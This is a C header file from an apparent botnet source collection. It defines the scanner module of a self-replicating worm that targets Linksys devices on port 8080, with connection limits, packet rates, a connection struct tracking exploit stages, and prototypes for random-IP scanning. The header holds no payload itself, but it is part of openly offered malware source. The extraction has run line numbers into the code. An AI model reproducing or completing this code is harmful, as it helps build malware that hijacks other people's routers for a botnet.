Path: blob/master/Botnets/Self Reps/LinkSys/linksys8080.h
5038 views
#ifdef SELFREP1#pragma once2#include <stdint.h>3#include "includes.h"4#ifdef X86_645#define linksysscanner_SCANNER_MAX_CONNS 5126#define linksysscanner_SCANNER_RAW_PPS 14407#else8#define linksysscanner_SCANNER_MAX_CONNS 2569#define linksysscanner_SCANNER_RAW_PPS 102410#endif1112#ifdef X86_6413#define linksysscanner_SCANNER_RDBUF_SIZE 102414#define linksysscanner_SCANNER_HACK_DRAIN 6415#else16#define linksysscanner_SCANNER_RDBUF_SIZE 102417#define linksysscanner_SCANNER_HACK_DRAIN 6418#endif1920struct linksysscanner_scanner_connection21{22int fd, last_recv;23enum24{25linksysscanner_SC_CLOSED,26linksysscanner_SC_CONNECTING,27linksysscanner_SC_EXPLOIT_STAGE2,28linksysscanner_SC_EXPLOIT_STAGE3,29} state;30ipv4_t dst_addr;31uint16_t dst_port;32int rdbuf_pos;33char rdbuf[linksysscanner_SCANNER_RDBUF_SIZE];34char payload_buf[2024];35};3637void linksysscanner_scanner_init();38void linksysscanner_scanner_kill(void);3940static void linksysscanner_setup_connection(struct linksysscanner_scanner_connection *);41static ipv4_t linksysscanner_get_random_ip(void);4243#endif44454647